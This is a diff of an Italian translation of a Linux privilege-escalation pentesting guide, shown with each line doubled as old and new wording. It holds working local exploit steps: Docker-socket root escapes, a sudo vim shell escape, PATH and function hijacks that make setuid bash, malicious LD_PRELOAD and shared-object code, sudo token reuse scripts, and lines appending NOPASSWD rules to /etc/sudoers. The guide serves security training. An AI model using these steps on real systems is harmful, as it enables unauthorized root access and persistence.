Per esempio, crea il tuo backdoor all'interno del file .service con **`ExecStart=/tmp/script.sh`** Per esempio, crea il tuo backdoor all'interno del file .service con **`ExecStart=/tmp/script.sh`**
### Binari di servizio scrivibili ### Binari di servizio scrivibili
Tieni presente che se hai **permessi di scrittura sui binari eseguiti dai servizi**, puoi cambiarli con backdoor in modo che quando i servizi vengono ri-eseguiti, i backdoor verranno eseguiti. Tieni presente che se hai **permessi di scrittura sui binari eseguiti dai servizi**, puoi cambiarli con backdoor in modo che quando i servizi vengono ri-eseguiti, i backdoor verranno eseguiti.
### systemd PATH - Percorsi relativi ### Percorsi relativi di systemd PATH
Puoi vedere il PATH utilizzato da **systemd** con: Puoi vedere il PATH utilizzato da **systemd** con:
```bash ```bash
systemctl show-environment systemctl show-environment
``` ```
Se trovi che puoi **scrivere** in una qualsiasi delle cartelle del percorso potresti essere in grado di **escalare i privilegi**. Devi cercare i file di configurazione dei servizi in cui vengono utilizzati **percorsi relativi** come: Se trovi che puoi **scrivere** in una qualsiasi delle cartelle del percorso, potresti essere in grado di **escalare i privilegi**. Devi cercare **percorsi relativi utilizzati nei file di configurazione dei servizi** come:
```bash ```bash
ExecStart=faraday-server ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
@ -426,7 +427,7 @@ ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
``` ```
Quindi, crea un **eseguibile** con lo **stesso nome del percorso relativo al binario** all'interno della cartella PATH di systemd in cui puoi scrivere e, quando al servizio viene chiesto di eseguire l'azione vulnerabile (**Start**, **Stop**, **Reload**), il tuo **backdoor verrà eseguito** (di solito gli utenti non privilegiati non possono avviare/arrestare servizi, ma controlla se puoi usare `sudo -l`). Quindi, crea un **eseguibile** con lo **stesso nome del percorso relativo al binario** all'interno della cartella PATH di systemd in cui puoi scrivere e, quando al servizio viene chiesto di eseguire l'azione vulnerabile (**Start**, **Stop**, **Reload**), il tuo **backdoor verrà eseguito** (di solito gli utenti non privilegiati non possono avviare/arrestare servizi, ma controlla se puoi usare `sudo -l`).
**Per saperne di più sui servizi, consulta `man systemd.service`.** **Per saperne di più sui servizi, utilizza `man systemd.service`.**
## **Timer** ## **Timer**
@ -438,7 +439,7 @@ systemctl list-timers --all
``` ```
### Timers scrivibili ### Timers scrivibili
Se puoi modificare un timer, puoi farlo eseguire alcuni esistenti di systemd.unit (come un `.service` o un `.target`) Se puoi modificare un timer, puoi farlo eseguire a degli esistenti di systemd.unit (come un `.service` o un `.target`)
```bash ```bash
Unit=backdoor.service Unit=backdoor.service
``` ```
@ -448,8 +449,8 @@ Nella documentazione è possibile leggere cosa sia l'Unità:
Pertanto, per sfruttare questa autorizzazione, dovresti: Pertanto, per sfruttare questa autorizzazione, dovresti:
* Trovare qualche unità systemd (come un `.service`) che sta **eseguendo un binario scrivibile** * Trovare qualche unità systemd (come un `.service`) che stia **eseguendo un binario scrivibile**
* Trovare qualche unità systemd che sta **eseguendo un percorso relativo** e avere **privilegi di scrittura** sul **percorso di systemd** (per impersonare quell'eseguibile) * Trovare qualche unità systemd che stia **eseguendo un percorso relativo** e avere **privilegi di scrittura** sul **percorso di systemd** (per impersonare quell'eseguibile)
**Per saperne di più sui timer, consulta `man systemd.timer`.** **Per saperne di più sui timer, consulta `man systemd.timer`.**
@ -464,16 +465,16 @@ Nota che il **timer** viene **attivato** creando un symlink su `/etc/systemd/sys
## Sockets ## Sockets
I Socket a Dominio Unix (UDS) consentono la **comunicazione tra processi** su macchine diverse o sulla stessa macchina all'interno di modelli client-server. Utilizzano file di descrittore Unix standard per la comunicazione tra computer e vengono configurati tramite file `.socket`. I Socket a dominio Unix (UDS) consentono la **comunicazione tra processi** su macchine diverse o sulla stessa all'interno di modelli client-server. Utilizzano file di descrittore Unix standard per la comunicazione tra computer e vengono configurati tramite file `.socket`.
I Socket possono essere configurati utilizzando file `.socket`. I Socket possono essere configurati utilizzando file `.socket`.
**Per saperne di più sui socket, consulta `man systemd.socket`.** All'interno di questo file, è possibile configurare diversi parametri interessanti: **Per saperne di più sui socket, consulta `man systemd.socket`.** All'interno di questo file, è possibile configurare diversi parametri interessanti:
* `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono diverse ma un riepilogo viene utilizzato per **indicare dove verrà in ascolto** il socket (il percorso del file socket AF\_UNIX, l'indirizzo IPv4/6 e/o il numero di porta su cui ascoltare, ecc.) * `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono diverse ma un riepilogo viene utilizzato per **indicare dove verrà in ascolto** il socket (il percorso del file socket AF\_UNIX, l'indirizzo IPv4/6 e/o il numero di porta su cui ascoltare, ecc.)
* `Accept`: Accetta un argomento booleano. Se è **true**, viene generata un'**istanza di servizio per ogni connessione in ingresso** e viene passato solo il socket di connessione ad essa. Se è **false**, tutti i socket in ascolto vengono **passati all'unità di servizio avviata**, e viene generata solo un'unità di servizio per tutte le connessioni. Questo valore viene ignorato per i socket datagram e FIFO in cui un'unica unità di servizio gestisce incondizionatamente tutto il traffico in ingresso. **Il valore predefinito è false**. Per motivi di prestazioni, si consiglia di scrivere nuovi daemon solo in un modo adatto per `Accept=no`. * `Accept`: Accetta un argomento booleano. Se è **true**, viene generata un'**istanza di servizio per ogni connessione in ingresso** e viene passato solo il socket di connessione ad essa. Se è **false**, tutti i socket in ascolto vengono **passati all'unità di servizio avviata**, e viene generata solo un'unità di servizio per tutte le connessioni. Questo valore viene ignorato per i socket datagram e FIFO in cui un'unica unità di servizio gestisce incondizionatamente tutto il traffico in ingresso. **Il valore predefinito è false**. Per motivi di prestazioni, si consiglia di scrivere nuovi daemon solo in modo che sia adatto per `Accept=no`.
* `ExecStartPre`, `ExecStartPost`: Prende una o più righe di comando, che vengono **eseguite prima** o **dopo** che i **socket**/FIFO in ascolto sono **creati** e vincolati, rispettivamente. Il primo token della riga di comando deve essere un nome file assoluto, seguito dagli argomenti per il processo. * `ExecStartPre`, `ExecStartPost`: Prende una o più righe di comando, che vengono **eseguite prima** o **dopo** che i **socket**/FIFO in ascolto vengono **creati** e vincolati, rispettivamente. Il primo token della riga di comando deve essere un nome di file assoluto, seguito dagli argomenti per il processo.
* `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** che i **socket**/FIFO in ascolto sono **chiusi** e rimossi, rispettivamente. * `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** che i **socket**/FIFO in ascolto vengono **chiusi** e rimossi, rispettivamente.
* `Service`: Specifica il nome dell'unità **servizio** da **attivare** sul **traffico in ingresso**. Questa impostazione è consentita solo per i socket con Accept=no. Di default corrisponde al servizio che ha lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi, non dovrebbe essere necessario utilizzare questa opzione. * `Service`: Specifica il nome dell'unità **servizio** da **attivare** sul **traffico in ingresso**. Questa impostazione è consentita solo per i socket con Accept=no. Di default corrisponde al servizio che ha lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi, non dovrebbe essere necessario utilizzare questa opzione.
### File .socket scrivibili ### File .socket scrivibili
@ -518,7 +519,7 @@ Il socket Docker, spesso trovato in `/var/run/docker.sock`, è un file critico c
#### **Escalation dei Privilegi con Docker CLI** #### **Escalation dei Privilegi con Docker CLI**
Se hai accesso in scrittura al socket Docker, puoi escalare i privilegi utilizzando i seguenti comandi: Se hai l'accesso in scrittura al socket Docker, puoi escalare i privilegi utilizzando i seguenti comandi:
```bash ```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
@ -527,7 +528,7 @@ Questi comandi ti consentono di eseguire un container con accesso di livello roo
#### **Utilizzo diretto dell'API Docker** #### **Utilizzo diretto dell'API Docker**
Nei casi in cui non sia disponibile la CLI di Docker, il socket di Docker può comunque essere manipolato utilizzando l'API di Docker e comandi `curl`. Nei casi in cui non sia disponibile la CLI Docker, il socket Docker può comunque essere manipolato utilizzando l'API Docker e i comandi `curl`.
1. **Elenco delle immagini Docker:** Recupera l'elenco delle immagini disponibili. 1. **Elenco delle immagini Docker:** Recupera l'elenco delle immagini disponibili.
@ -555,11 +556,11 @@ Connection: Upgrade
Upgrade: tcp Upgrade: tcp
``` ```
Dopo aver impostato la connessione `socat`, puoi eseguire comandi direttamente nel container con accesso di livello root al file system dell'host. Dopo aver configurato la connessione `socat`, puoi eseguire comandi direttamente nel container con accesso di livello root al file system dell'host.
### Altri ### Altri
Nota che se hai i permessi di scrittura sul socket di Docker perché sei **all'interno del gruppo `docker`** hai [**più modi per ottenere privilegi elevati**](interesting-groups-linux-pe/#docker-group). Se il [**docker API è in ascolto su una porta** potresti anche essere in grado di comprometterlo](../../network-services-pentesting/2375-pentesting-docker.md#compromising). Nota che se hai i permessi di scrittura sul socket Docker perché sei **all'interno del gruppo `docker`** hai [**più modi per ottenere privilegi elevati**](interesting-groups-linux-pe/#docker-group). Se il [**docker API è in ascolto su una porta** potresti anche riuscire a comprometterlo](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Controlla **altri modi per uscire da Docker o abusarne per ottenere privilegi elevati** in: Controlla **altri modi per uscire da Docker o abusarne per ottenere privilegi elevati** in:
@ -589,7 +590,7 @@ D-Bus è un sofisticato **sistema di comunicazione inter-processi (IPC)** che co
Il sistema è versatile, supporta IPC di base che migliora lo scambio di dati tra processi, ricordando le **socket di dominio UNIX avanzate**. Inoltre, aiuta nella trasmissione di eventi o segnali, favorisce l'integrazione tra i componenti di sistema. Ad esempio, un segnale da un demone Bluetooth su una chiamata in arrivo può far sì che un lettore musicale si metta in pausa, migliorando l'esperienza dell'utente. Inoltre, D-Bus supporta un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodo tra applicazioni, razionalizzando processi tradizionalmente complessi. Il sistema è versatile, supporta IPC di base che migliora lo scambio di dati tra processi, ricordando le **socket di dominio UNIX avanzate**. Inoltre, aiuta nella trasmissione di eventi o segnali, favorisce l'integrazione tra i componenti di sistema. Ad esempio, un segnale da un demone Bluetooth su una chiamata in arrivo può far sì che un lettore musicale si metta in pausa, migliorando l'esperienza dell'utente. Inoltre, D-Bus supporta un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodo tra applicazioni, razionalizzando processi tradizionalmente complessi.
D-Bus opera su un modello **consenti/nega**, gestendo le autorizzazioni dei messaggi (chiamate di metodo, emissioni di segnali, ecc.) in base all'effetto cumulativo delle regole di politica corrispondenti. Queste politiche specificano le interazioni con il bus, consentendo potenzialmente l'escalation dei privilegi attraverso lo sfruttamento di queste autorizzazioni. D-Bus opera su un modello **consenti/nega**, gestendo le autorizzazioni dei messaggi (chiamate di metodo, emissioni di segnali, ecc.) in base all'effetto cumulativo delle regole di politica corrispondenti. Queste politiche specificano le interazioni con il bus, consentendo potenzialmente l'escalation dei privilegi attraverso lo sfruttamento di tali autorizzazioni.
Viene fornito un esempio di tale politica in `/etc/dbus-1/system.d/wpa_supplicant.conf`, che dettaglia le autorizzazioni per l'utente root di possedere, inviare e ricevere messaggi da `fi.w1.wpa_supplicant1`. Viene fornito un esempio di tale politica in `/etc/dbus-1/system.d/wpa_supplicant.conf`, che dettaglia le autorizzazioni per l'utente root di possedere, inviare e ricevere messaggi da `fi.w1.wpa_supplicant1`.
@ -602,7 +603,7 @@ Le politiche senza un utente o gruppo specificato si applicano universalmente, m
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/> <allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy> </policy>
``` ```
**Scopri come enumerare e sfruttare una comunicazione D-Bus qui:** **Impara come enumerare e sfruttare una comunicazione D-Bus qui:**
{% content-ref url="d-bus-enumeration-and-command-injection-privilege-escalation.md" %} {% content-ref url="d-bus-enumeration-and-command-injection-privilege-escalation.md" %}
[d-bus-enumeration-and-command-injection-privilege-escalation.md](d-bus-enumeration-and-command-injection-privilege-escalation.md) [d-bus-enumeration-and-command-injection-privilege-escalation.md](d-bus-enumeration-and-command-injection-privilege-escalation.md)
@ -644,7 +645,7 @@ Verifica sempre i servizi di rete in esecuzione sulla macchina con cui non sei s
``` ```
### Sniffing ### Sniffing
Controlla se puoi fare sniffing del traffico. Se riesci, potresti essere in grado di acquisire delle credenziali. Controlla se puoi fare sniffing del traffico. Se riesci, potresti essere in grado di acquisire alcune credenziali.
``` ```
timeout 1 tcpdump timeout 1 tcpdump
``` ```
@ -710,10 +711,10 @@ Se conosci una **password** dell'ambiente, **prova a effettuare il login come og
### Su Brute ### Su Brute
Se non ti preoccupa fare molto rumore e i binari `su` e `timeout` sono presenti sul computer, puoi provare a forzare l'accesso come utente utilizzando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ Se non ti dispiace fare molto rumore e i binari `su` e `timeout` sono presenti sul computer, puoi provare a forzare l'utente utilizzando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con il parametro `-a` prova anche a forzare l'accesso come utenti. [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con il parametro `-a` prova anche a forzare gli utenti.
## Abusi del PATH scrivibile ## Abusi di PATH scrivibili
### $PATH ### $PATH
@ -743,7 +744,7 @@ $ sudo -l
User demo may run the following commands on crashlab: User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim (root) NOPASSWD: /usr/bin/vim
``` ```
Nell'esempio seguente l'utente `demo` può eseguire `vim` come `root`, ora è banale ottenere una shell aggiungendo una chiave ssh nella directory root o chiamando `sh`. In questo esempio l'utente `demo` può eseguire `vim` come `root`, ora è banale ottenere una shell aggiungendo una chiave ssh nella directory root o chiamando `sh`.
``` ```
sudo vim -c '!sh' sudo vim -c '!sh'
``` ```
@ -759,7 +760,7 @@ Questo esempio, **basato sulla macchina HTB Admirer**, era **vulnerabile** al **
```bash ```bash
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
``` ```
### Bypass dell'esecuzione di Sudo ignorando i percorsi ### Bypass di esecuzione di Sudo ignorando i percorsi
**Salta** per leggere altri file o utilizza **symlink**. Ad esempio nel file sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ **Salta** per leggere altri file o utilizza **symlink**. Ad esempio nel file sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash ```bash
@ -786,7 +787,7 @@ export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less" #Put your backdoor in /tmp and name it "less"
sudo less sudo less
``` ```
Questa tecnica può essere utilizzata anche se un binario **suid** **esegue un altro comando senza specificarne il percorso (controlla sempre con** _**strings**_ **il contenuto di un binario SUID strano)**. Questo metodo può essere utilizzato anche se un binario **suid** **esegue un altro comando senza specificarne il percorso (controlla sempre con** _**strings**_ **il contenuto di un binario SUID strano)**.
[Esempi di payload da eseguire.](payloads-to-execute.md) [Esempi di payload da eseguire.](payloads-to-execute.md)
@ -799,16 +800,16 @@ Ad esempio, se un binario suid chiama _**/usr/sbin/service apache2 start**_ devi
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service export -f /usr/sbin/service
``` ```
### LD\_PRELOAD & **LD\_LIBRARY\_PATH** ### LD_PRELOAD & LD_LIBRARY_PATH
La variabile d'ambiente **LD\_PRELOAD** viene utilizzata per specificare una o più librerie condivise (.so files) da caricare dal loader prima di tutte le altre, inclusa la libreria C standard (`libc.so`). Questo processo è noto come caricamento preventivo di una libreria. La variabile d'ambiente **LD_PRELOAD** viene utilizzata per specificare una o più librerie condivise (.so files) da caricare dal loader prima di tutte le altre, inclusa la libreria C standard (`libc.so`). Questo processo è noto come caricamento preventivo di una libreria.
Tuttavia, per mantenere la sicurezza del sistema e impedire che questa funzionalità venga sfruttata, in particolare con eseguibili **suid/sgid**, il sistema impone determinate condizioni: Tuttavia, per mantenere la sicurezza del sistema e impedire che questa funzionalità venga sfruttata, in particolare con eseguibili **suid/sgid**, il sistema impone determinate condizioni:
- Il loader ignora **LD\_PRELOAD** per gli eseguibili in cui l'ID utente reale (_ruid_) non corrisponde all'ID utente effettivo (_euid_). - Il loader ignora **LD_PRELOAD** per gli eseguibili in cui l'ID utente reale (_ruid_) non corrisponde all'ID utente effettivo (_euid_).
- Per gli eseguibili con suid/sgid, vengono caricare solo le librerie nei percorsi standard che sono anche suid/sgid. - Per gli eseguibili con suid/sgid, vengono caricare solo le librerie nei percorsi standard che sono anche suid/sgid.
L'elevazione dei privilegi può verificarsi se hai la capacità di eseguire comandi con `sudo` e l'output di `sudo -l` include l'affermazione **env\_keep+=LD\_PRELOAD**. Questa configurazione consente alla variabile d'ambiente **LD\_PRELOAD** di persistere e essere riconosciuta anche quando i comandi vengono eseguiti con `sudo`, potenzialmente portando all'esecuzione di codice arbitrario con privilegi elevati. L'escalation dei privilegi può verificarsi se hai la possibilità di eseguire comandi con `sudo` e l'output di `sudo -l` include l'affermazione **env_keep+=LD_PRELOAD**. Questa configurazione consente alla variabile d'ambiente **LD_PRELOAD** di persistere e essere riconosciuta anche quando i comandi vengono eseguiti con `sudo`, potenzialmente portando all'esecuzione di codice arbitrario con privilegi elevati.
``` ```
Defaults env_keep += LD_PRELOAD Defaults env_keep += LD_PRELOAD
``` ```
@ -856,15 +857,15 @@ cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND> sudo LD_LIBRARY_PATH=/tmp <COMMAND>
``` ```
### Binario SUID - iniezione di .so ### Binario SUID - Iniezione di file .so
Quando si incontra un binario con permessi **SUID** che sembra insolito, è una buona pratica verificare se sta caricando correttamente i file **.so**. Questo può essere verificato eseguendo il seguente comando: Quando si incontra un binario con permessi **SUID** che sembra insolito, è una buona pratica verificare se sta caricando correttamente i file **.so**. Questo può essere verificato eseguendo il seguente comando:
```bash ```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file" strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
``` ```
Per esempio, incontrare un errore come _"open(“/path/to/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (File o directory non esistente)"_ suggerisce un potenziale per l'exploit. Per esempio, incontrare un errore come _"open(“/percorso/a/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (File o directory non esistente)"_ suggerisce un potenziale per l'exploit.
Per sfruttarlo, si procederebbe creando un file C, diciamo _"/path/to/.config/libcalc.c"_, contenente il seguente codice: Per sfruttarlo, si procederebbe creando un file C, diciamo _"/percorso/a/.config/libcalc.c"_, contenente il seguente codice:
```c ```c
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
@ -881,9 +882,9 @@ Compila il file C sopra in un file oggetto condiviso (.so) con:
```bash ```bash
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
``` ```
## Shared Object Hijacking ## Dirottamento dell'oggetto condiviso
Infine, eseguire il binario SUID interessato dovrebbe attivare l'exploit, consentendo la compromissione potenziale del sistema. Infine, eseguire il binario SUID interessato dovrebbe attivare l'exploit, consentendo un potenziale compromesso del sistema.
```bash ```bash
# Lets find a SUID using a non-standard library # Lets find a SUID using a non-standard library
ldd some_suid ldd some_suid
@ -914,7 +915,7 @@ Questo significa che la libreria che hai generato deve avere una funzione chiama
### GTFOBins ### GTFOBins
[**GTFOBins**](https://gtfobins.github.io) è una lista curata di binari Unix che possono essere sfruttati da un attaccante per eludere le restrizioni di sicurezza locali. [**GTFOArgs**](https://gtfoargs.github.io/) è la stessa cosa ma per i casi in cui puoi **solo iniettare argomenti** in un comando. [**GTFOBins**](https://gtfobins.github.io) è una lista curata di binari Unix che possono essere sfruttati da un attaccante per eludere le restrizioni di sicurezza locali. [**GTFOArgs**](https://gtfoargs.github.io/) è la stessa cosa ma per i casi in cui è possibile **iniettare solo argomenti** in un comando.
Il progetto raccoglie funzioni legittime dei binari Unix che possono essere abusate per eludere le shell restrittive, escalare o mantenere privilegi elevati, trasferire file, generare shell bind e reverse, e facilitare altre attività di post-sfruttamento. Il progetto raccoglie funzioni legittime dei binari Unix che possono essere abusate per eludere le shell restrittive, escalare o mantenere privilegi elevati, trasferire file, generare shell bind e reverse, e facilitare altre attività di post-sfruttamento.
@ -929,16 +930,16 @@ Il progetto raccoglie funzioni legittime dei binari Unix che possono essere abus
### FallOfSudo ### FallOfSudo
Se puoi accedere a `sudo -l` puoi utilizzare lo strumento [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) per verificare se trova come sfruttare una qualsiasi regola di sudo. Se puoi accedere a `sudo -l`, puoi utilizzare lo strumento [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) per verificare se trova come sfruttare una regola sudo.
### Riutilizzo dei Token Sudo ### Riutilizzo dei Token Sudo
Nei casi in cui hai **accesso sudo** ma non la password, puoi escalare i privilegi **aspettando l'esecuzione di un comando sudo e quindi dirottando il token di sessione**. Nei casi in cui hai **accesso sudo** ma non la password, puoi escalare i privilegi **attendendo l'esecuzione di un comando sudo e quindi dirottando il token di sessione**.
Requisiti per l'escalation dei privilegi: Requisiti per l'escalation dei privilegi:
* Hai già una shell come utente "_sampleuser_" * Hai già una shell come utente "_sampleuser_"
* "_sampleuser_" ha **usato `sudo`** per eseguire qualcosa negli **ultimi 15 minuti** (di default è la durata del token sudo che ci consente di usare `sudo` senza inserire alcuna password) * "_sampleuser_" ha **usato `sudo`** per eseguire qualcosa negli **ultimi 15 minuti** (di default è la durata del token sudo che ci consente di utilizzare `sudo` senza inserire alcuna password)
* `cat /proc/sys/kernel/yama/ptrace_scope` è 0 * `cat /proc/sys/kernel/yama/ptrace_scope` è 0
* `gdb` è accessibile (puoi caricarlo) * `gdb` è accessibile (puoi caricarlo)
@ -952,7 +953,7 @@ bash exploit.sh
/tmp/activate_sudo_token /tmp/activate_sudo_token
sudo su sudo su
``` ```
* Il **secondo exploit** (`exploit_v2.sh`) creerà una shell sh in _/tmp_ **di proprietà di root con setuid** * Il **secondo exploit** (`exploit_v2.sh`) creerà una shell sh in _/tmp_ **posseduta da root con setuid**
```bash ```bash
bash exploit_v2.sh bash exploit_v2.sh
/tmp/sh -p /tmp/sh -p
@ -964,7 +965,7 @@ sudo su
``` ```
### /var/run/sudo/ts/\<NomeUtente> ### /var/run/sudo/ts/\<NomeUtente>
Se hai **permessi di scrittura** nella cartella o su uno qualsiasi dei file creati all'interno della cartella, puoi utilizzare il binario [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) per **creare un token sudo per un utente e PID**.\ Se hai **permessi di scrittura** nella cartella o su uno dei file creati all'interno della cartella, puoi utilizzare il binario [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) per **creare un token sudo per un utente e PID**.\
Ad esempio, se puoi sovrascrivere il file _/var/run/sudo/ts/sampleuser_ e hai una shell come quell'utente con PID 1234, puoi **ottenere privilegi sudo** senza dover conoscere la password facendo: Ad esempio, se puoi sovrascrivere il file _/var/run/sudo/ts/sampleuser_ e hai una shell come quell'utente con PID 1234, puoi **ottenere privilegi sudo** senza dover conoscere la password facendo:
```bash ```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
@ -977,7 +978,7 @@ Il file `/etc/sudoers` e i file all'interno di `/etc/sudoers.d` configurano chi
ls -l /etc/sudoers /etc/sudoers.d/ ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/ ls -ld /etc/sudoers.d/
``` ```
Se puoi scrivere, puoi abusare di questo permesso. Se sei in grado di scrivere, puoi abusare di questo permesso
```bash ```bash
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
@ -1022,7 +1023,7 @@ sudo ls
Il file `/etc/ld.so.conf` indica **da dove provengono i file di configurazione caricati**. Tipicamente, questo file contiene il seguente percorso: `include /etc/ld.so.conf.d/*.conf` Il file `/etc/ld.so.conf` indica **da dove provengono i file di configurazione caricati**. Tipicamente, questo file contiene il seguente percorso: `include /etc/ld.so.conf.d/*.conf`
Ciò significa che i file di configurazione da `/etc/ld.so.conf.d/*.conf` verranno letti. Questi file di configurazione **puntano ad altre cartelle** dove verranno **ricercate le librerie**. Ad esempio, il contenuto di `/etc/ld.so.conf.d/libc.conf` è `/usr/local/lib`. **Ciò significa che il sistema cercherà le librerie all'interno di `/usr/local/lib`**. Ciò significa che i file di configurazione da `/etc/ld.so.conf.d/*.conf` verranno letti. Questi file di configurazione **puntano ad altre cartelle** dove verranno **ricercate** le **librerie**. Ad esempio, il contenuto di `/etc/ld.so.conf.d/libc.conf` è `/usr/local/lib`. **Ciò significa che il sistema cercherà le librerie all'interno di `/usr/local/lib`**.
Se per qualche motivo **un utente ha le autorizzazioni di scrittura** su uno dei percorsi indicati: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, su qualsiasi file all'interno di `/etc/ld.so.conf.d/` o su qualsiasi cartella all'interno del file di configurazione dentro `/etc/ld.so.conf.d/*.conf`, potrebbe essere in grado di elevare i privilegi.\ Se per qualche motivo **un utente ha le autorizzazioni di scrittura** su uno dei percorsi indicati: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, su qualsiasi file all'interno di `/etc/ld.so.conf.d/` o su qualsiasi cartella all'interno del file di configurazione dentro `/etc/ld.so.conf.d/*.conf`, potrebbe essere in grado di elevare i privilegi.\
Guarda **come sfruttare questa errata configurazione** nella pagina seguente: Guarda **come sfruttare questa errata configurazione** nella pagina seguente:
@ -1080,9 +1081,9 @@ Il bit **"lettura"** implica che l'utente può **elencare** i **file**, e il bit
## ACL ## ACL
Le Liste di Controllo degli Accessi (ACL) rappresentano il livello secondario dei permessi discrezionali, in grado di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso ai file o alle directory consentendo o negando diritti a utenti specifici che non sono proprietari o parte del gruppo. Questo livello di **granularità garantisce una gestione degli accessi più precisa**. Ulteriori dettagli possono essere trovati [**qui**](https://linuxconfig.org/how-to-manage-acls-on-linux). Le Liste di Controllo degli Accessi (ACL) rappresentano il livello secondario dei permessi discrezionali, in grado di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso ai file o alle directory permettendo o negando diritti a utenti specifici che non sono proprietari o fanno parte del gruppo. Questo livello di **granularità garantisce una gestione degli accessi più precisa**. Ulteriori dettagli possono essere trovati [**qui**](https://linuxconfig.org/how-to-manage-acls-on-linux).
**Concedi** all'utente "kali" i permessi di lettura e scrittura su un file: **Concedi** all'utente "kali" permessi di lettura e scrittura su un file:
```bash ```bash
setfacl -m u:kali:rw file.txt setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
@ -1113,9 +1114,9 @@ screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id] screen -x [user]/[session id]
``` ```
## dirottamento delle sessioni tmux ## dirottamento sessioni tmux
Questo era un problema con le **vecchie versioni di tmux**. Non ero in grado di dirottare una sessione tmux (v2.1) creata da root come utente non privilegiato. Questo era un problema con le **vecchie versioni di tmux**. Non sono riuscito a dirottare una sessione tmux (v2.1) creata da root come utente non privilegiato.
**Elenco delle sessioni tmux** **Elenco delle sessioni tmux**
```bash ```bash
@ -1152,7 +1153,7 @@ Questo bug si verifica durante la creazione di una nuova chiave ssh in quei sist
### PermitRootLogin ### PermitRootLogin
Specifica se l'utente root può effettuare l'accesso tramite ssh, il valore predefinito è `no`. Valori possibili: Specifica se l'utente root può effettuare l'accesso tramite ssh, il valore predefinito è `no`. Possibili valori:
* `yes`: root può accedere utilizzando password e chiave privata * `yes`: root può accedere utilizzando password e chiave privata
* `without-password` o `prohibit-password`: root può accedere solo con una chiave privata * `without-password` o `prohibit-password`: root può accedere solo con una chiave privata
@ -1165,7 +1166,7 @@ Specifica i file che contengono le chiavi pubbliche che possono essere utilizzat
```bash ```bash
AuthorizedKeysFile .ssh/authorized_keys access AuthorizedKeysFile .ssh/authorized_keys access
``` ```
